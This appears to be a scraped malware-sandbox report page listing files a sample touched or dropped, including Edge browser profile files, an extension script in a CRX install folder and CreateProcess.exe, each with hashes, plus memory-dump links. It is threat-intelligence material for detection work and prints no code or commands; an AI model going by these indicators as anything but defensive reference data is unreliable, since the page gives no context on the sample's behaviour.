SSDEEP 192:sxRhRmyM/jK1Ml8wCQ/fIsOyUwG/zoA8p92/g6+WNCcS/Yo3c7YPkGEIgVFJ:sxRhQ8Q/fIsOVpWg/5U/EwIR
TLSH
T11A62DA1669345D7BCCE7D21DFA55BF93D2F91463A1901E48AAFC8A0C00E6BED221781F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 14KB
SHA256 59c8d65de299a5342ebf252a2253f02a0e088e46fa296cf84911e08daaaca8e2
MD5 04d0d51c25ab9d9ad4022b62cd6996e0
SHA1 ab1eeff3ac22c156ead9ed6901e0febe56737412
SHA512 dcdfbd0694fc6cf843b5cc00ad70d8f06c0d680f433d1a4511302ec1ce47995efc869738f1a66840fe39775ec1a3f86d63550ca4374ec8df8d2a8750c181e6f6
SSDEEP 192:sxRGRmyM/jK1Ml8wCQ/fIs5/yUwG/zoA8p92/g6+WNCcS/Yo3c7YPkGEIgDaFJ:sxRGQ8Q/fIs5/VpWg/5U/EwIS
TLSH
T10D62EB1669345D7B8CE7D21DFA55BF93D2F91463A1901E486AFC8A0C00E6BED221781F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
Size 32KB
SHA256 ca1c25c8a02c9ffa2606d7be9c676a5c2efeed817c370e16f91efdb936b540ba
MD5 b421ef620378852ff8cd937ea3999291
SHA1 9bf8c6db786aedfdca84d53eb491498d842d48be
SHA512 47ebc9459e22356cc8433f8a54647e9ac17875e30ebc4d3434d9a8e4b3729e2681b5caf6ccb103554791e44b6ad3ec57db9d77c59e974efe288e8b43055847cf
SSDEEP 768:jXwHno7pLuL7gRWgs2fJ28F1+UoAYDCx9Tuqh0VfUC9xbog/OV6CKVuGCrockser:jXwHnUE7gRWgs2fJ2u1jahCK4GZdFx
TLSH
T1B0E2FC3B680CCBBE4F404A9CEC29BE9E6DA801CB96D8CD5447FA440C03C6AEB55175DB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sync_diagnostic.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\Logs\sync_diagnostic.log
Size 4KB
SHA256 9c177f68635e061127d8658506c3af6a35b4f65c9f442fdb2527b3b9d312a51f
MD5 af11be4cdffc9daf8dc90dafddb5cf1f
SHA1 8ea44c0adfac280a5e0b43259dcfe3326b630f0d
SHA512 c66c771a5845ea35b08646fe443a6e51f991c3847c9779028e51fbcfc6c44344b3755265f2b2f0a4555669ff6c61205f16787fa67f4746a767a471c58d9e3086
SSDEEP 96:KReTieYgQGWAltgeGK4DgcGcW+9M+XHpm3zBj3TWH0ig7TK4Kg1Tc5xMvOl6K+o6:CeTieYgQxAl+eODgc1W+9M+XHpm3zBjZ
TLSH
T12C910111747B02413D7E765C91A9896E47C2B4E33068A82F7BE8469A4F67E134FFC8C9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

e6db4fff-4b9d-4a7d-9879-ed7f71dd27d1.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Cloud Config\e6db4fff-4b9d-4a7d-9879-ed7f71dd27d1.tmp
Size 22KB
SHA256 d988156066b7fd22de278fbc96759d2caea6552094ffeb2ddd9307806059c5e4
MD5 f768bcb451a187c18099961c484eef8b
SHA1 99472c2d1918ea56c632734bc5c8a89ae6d2551c
SHA512 a4d78de6bcc1e940c466c41c31ee100235b32fef4cb3e7815a9c62dfae1eb3e4588d2c9e8597152ad7754527643c59ea8b811277ac58e4134a3dbf1507fe97bf
SSDEEP 384:90JOk/FY7A42lagbkDtCkQ7wDThH/64+hkmbA6BQpGMgSVlkFIum1z4tfLTvq/ue:WJOk/FY7/2lagbCtCkQ7wDlH/h+umbAJ
TLSH
T131A2B81DC81C7E3257CA2F7D6A2F9DB276DA30CA7080459A7E8CC54DD31B0AD56862BC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 44KB
SHA256 eed2703c55ff6d38edafdef07d95951575a2968aea5c3506029b64b2d29f7e84
MD5 45ff27e180d63da3c4a7d2b2ebf16160
SHA1 3216cb69b30cd8017c21fabb0180361748aa018e
SHA512 2d2f64d4784abca57ad3aba289a19ec432a212b2d2f96e436067b10cfa1447db5e8b8276ab5fb8e5e882832c0d400cd7f2727feb4797ce9f729df19c4a0202bc
SSDEEP 768:pFQC3Twg4UjVsOWOiLQ5ONXyer1IRCzni9KpPi9PM:oC36c0QSIqn1pPb
TLSH
T1F11317F594D79A37D8AE5783A33D2E42AEBCD063B4844594BBD54E4DCC821BFC30A816
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 41KB
SHA256 c15200c104d66f6599809b45ac32a64b3e671172d9fa3ce74e4ee6c6e30ef434
MD5 30785cac82e591214ea8c4d47a548767
SHA1 7387ff4142fd7b991200ecd1eb2b848b35ee661f
SHA512 23497811f87c60c26adb9b0364249dff1e95a98857123b166254bb7f9bb9e83c4db735b8204b63140143e0659e44ebed0ef1511db9a31df4f18722cb231943cb
SSDEEP 768:wrv+4UNbdU3WmQ/TBOWOiLQaONXyer1IRCzni9KpeVH1SK3:wbsby3WlxxSIqn1pEH1R
TLSH
T1DB13AF31E4A9DE334CE2A395B14B73937FB8206B85840B90EDDA5F4E099759E130F91B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 38KB
SHA256 791d1d155c4a54d8ee52199250c13092fdc782dce04779a2b310bfb0a401ff77
MD5 fc6dadab53e6b1ceb73d05ddf298fae4
SHA1 8906e3034f2691e5b3c86839c92aeb6532340451
SHA512 cd073a67aab47902a139332dd3ad0a2eeb5428857b71417b76f15e2baff15f1a67af0bbfb226921935d21db50a0df3432210b967b56005b3db61794dcae1fe12
SSDEEP 768:hrv+4UNbdz36m3/TBOWOiL0ONXyer1IRCzniBOeVH1SK7:hbsbV36Kx0SIqnVEH1l
TLSH
T13A03BE36A5A89E378CE2A3C6B14B73037FB86057C6840790E9DE1F4E069B59E130B957
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 39KB
SHA256 9875708fe374427987b7974557fc9fd816d8f63fe08a184bef3eed8e90684f1d
MD5 4a646132372d964877fce1b1c37385c1
SHA1 f36d8e61d219ed0fdae8b506c5e3b6cd8b45babf
SHA512 c26f3dbf119ed9c2e7fe5b460a2e6ed9ab4701ba37119c9d5c46e116eaa812e189cae66316a138dac5c1a777a087b1a6c26562d666b1f59cdf61b02eb480f56d
SSDEEP 768:Nrv+4UNbdz3MVC/TBOWOiLQYONXyer1IRCzniwKpeVH1SK7:NbsbV3M4xhSIqnWpEH1l
TLSH
T1E703AF31E1A9DE334DE2A395B04B73537FB8206789840B90EDDA1F4E069759E270F91B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 49KB
SHA256 e3309af6dae52339dc7b9a033d63d0aa581e710d9402590900c68fb258fe87c0
MD5 cea6228146d28da26b4d1594fadcc4e9
SHA1 df859b93d23ee13b861533c89741fe88c91f22dc
SHA512 62fc140f7f95b1c534c4ed73ff249515441e7ec96d06af5c46468ebc67dc1965104d48a29ff63e2da9b664e513bce84a60316f8dd6012f0bfac3aba091ec1724
SSDEEP 768:pF0rv+4UNbdR38wg9UjpsOWOiLQoONXyer1IRCzni9KpeVH1SK3:Mbsb/3UcYhSIqn1pEH1R
TLSH
T1563338F194D79A36D8AE5383633E6E42AEBCD057B5844590FBD50E4DCC860BFD30A906
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 41KB
SHA256 cd63db52a3dfce5242a0fef4d878c524a752cd5ebfbca02d2d36385dee10030b
MD5 f38dfabd17d1b60bc4e0a05362695a82
SHA1 a1888b66fed6ba9c9729842f6597f046bfc5315b
SHA512 f7fd113ea2eaf28fae4671a4b5ad3b28aa29076ed49413ba1af4e56714c6f03d6f033fb21256d89962ba2dddd5132b500058ed4e44198cfd7775e8f1b121604e
SSDEEP 768:Wrv+4UNbdU3YmQ/TBOWOiLQaONXyer1IRCzni9KpeVH1SK3:Wbsby3YlxxSIqn1pEH1R
TLSH
T13C13AF31E4A9DE334DE2A395B04B73937FB8206B89840B90EDDA5F4E059759E130F91B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 132B
SHA256 f4aa1676b1cc0e8c932821d57f7e6ec93246f48d7b840aca2d58ef9fac0ecd03
MD5 f5a3b29f9a977e23d6ca4eb728238f9f
SHA1 d2c5576fff1189eb66493b5b677d79a8ecead68d
SHA512 6f692909efad02642f6c3a4b7cd10b21760c6fbfd3bae39d3b8a77b22460fcd5f6b0ab6e262b007e533c406a981968b3e0894697ca50be7f10bf557f1c1972f3
TLSH
T128C02BD0883D5142CD620D5AC04301F420005C1C641C0A7804C814C0401142F328042E
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 252B
SHA256 aa807e4f1b970e487ba89b4ed9f5455dfb3acaffb192b8736b7bd0ccf63b8cf5
MD5 880fe67d2d8def8a73d1f09d09f8f2ff
SHA1 adad7fdd0652919461f89bfe36b449081489052b
SHA512 dec205f202a88afbf96f8015158638483f643ad02a9549b9eaef405a32a1ef2b2cf9c9480d70ccb43ef9ce64818827c6fe3cd27267f657cc33cb6ace9619d87a
TLSH
T18CD02B80043D0A82CFA50A5EE41749F810C44918759C197804CDA4D5501A067315881D
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 372B
SHA256 dc86dff8fbd3b224794d65e8c0974ffa3b17c53a934c92f82e938e524fe823dd
MD5 80c2dfaf9affc09798a4976ae70f1b0b
SHA1 80daf1112206b189525aa4f5b380fbbba97b583a
SHA512 be5ed753856621e4dc5b64324872539291704bf5d2a415ac993b5f475db90e958544f281ac36d3e17af93c554895ceeaccf6fa9b0839d21c60a38443b2081876
TLSH
T15FE06880883D0EC2EBB60A5FE40706FC40C8491AB498187804CEF899A03B0973115C7D
MD5 SHA1 SHA512 TLSH

Submit Download

53d74317-40b6-4a0e-841e-35dc1de06e79.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\extensions_crx_cache\53d74317-40b6-4a0e-841e-35dc1de06e79.tmp
Size 13B
SHA256 2771d13c637c267132afff9db67537bef95708534b79ae8d954254c4e64e4e0f
MD5 2aa9e263ee3796d9ce358460a2451b4c
SHA1 7a55d937c0cd1f7543a12be730e4a78d0a14a545
SHA512 4909e73ffd1a777a9f102a8831f6ae5a9091084a2755707363251f39164bb65e22c318972ea59e7155976c6a626691dfa94539ee752f58e31aa16f4de5cdbccf
MD5 SHA1 SHA512

Submit Download

content_new.js

Path C:\Users\Admin\AppData\Local\Temp\scoped_dir716_497453133\CRX_INSTALL\content_new.js
Size 10KB
SHA256 d4aa4602a1590a4b8a1bce8b8d670264c9fb532adc97a72bc10c43343650385a
MD5 3de1e7d989c232fc1b58f4e32de15d64
SHA1 42b152ea7e7f31a964914f344543b8bf14b5f558
SHA512 177e5bdf3a1149b0229b6297baf7b122602f7bd753f96aa41ccf2d15b2bcf6af368a39bb20336ccce121645ec097f6bedb94666c74acb6174eb728fbfc43bc2a
SSDEEP 192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
TLSH
T1DB22B68DA5A8ED7C1AC0C952E50EA62E5D342531E6E7A30320874ED8015CFB9D519FFD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

CreateProcess.exe

Path C:\temp\CreateProcess.exe
Size 3KB
SHA256 b0a505b72bf1b354a9569784b64f6d2feb8224aa6c48d54ef26812e6fab493d0
MD5 8c8cee59d4e4d939928b25fbc0c6775b
SHA1 1af8c33c7316ea1f43e7d9cbe1b596b98765ee6d
SHA512 526c12f9e65fc1cb4896776f0173a4ea50d81235642672985301cc92461c7220647235885ccbefc23784680a9f8c69f5fb07be4e3e64f7aefc47fbd289cb97d5
TLSH
T1C971048356A8C9B2C2DA5BF502835244F1FB123C072320240B9555C6AB70A3A54B8F18
MD5 SHA1 SHA512 TLSH

Submit Download

memory/236-312-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/1172-297-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/1276-443-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/1532-409-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/1540-375-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/1616-479-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/2364-423-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/2592-459-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/2608-420-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/2876-237-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/2952-277-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/3132-265-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/3444-323-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/3444-360-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/4564-516-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/4832-454-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/5064-337-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/5196-499-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/5528-316-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/5696-64-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/6040-190-0x0000000000010000-0x00000000000AB000-memory.dmp

Download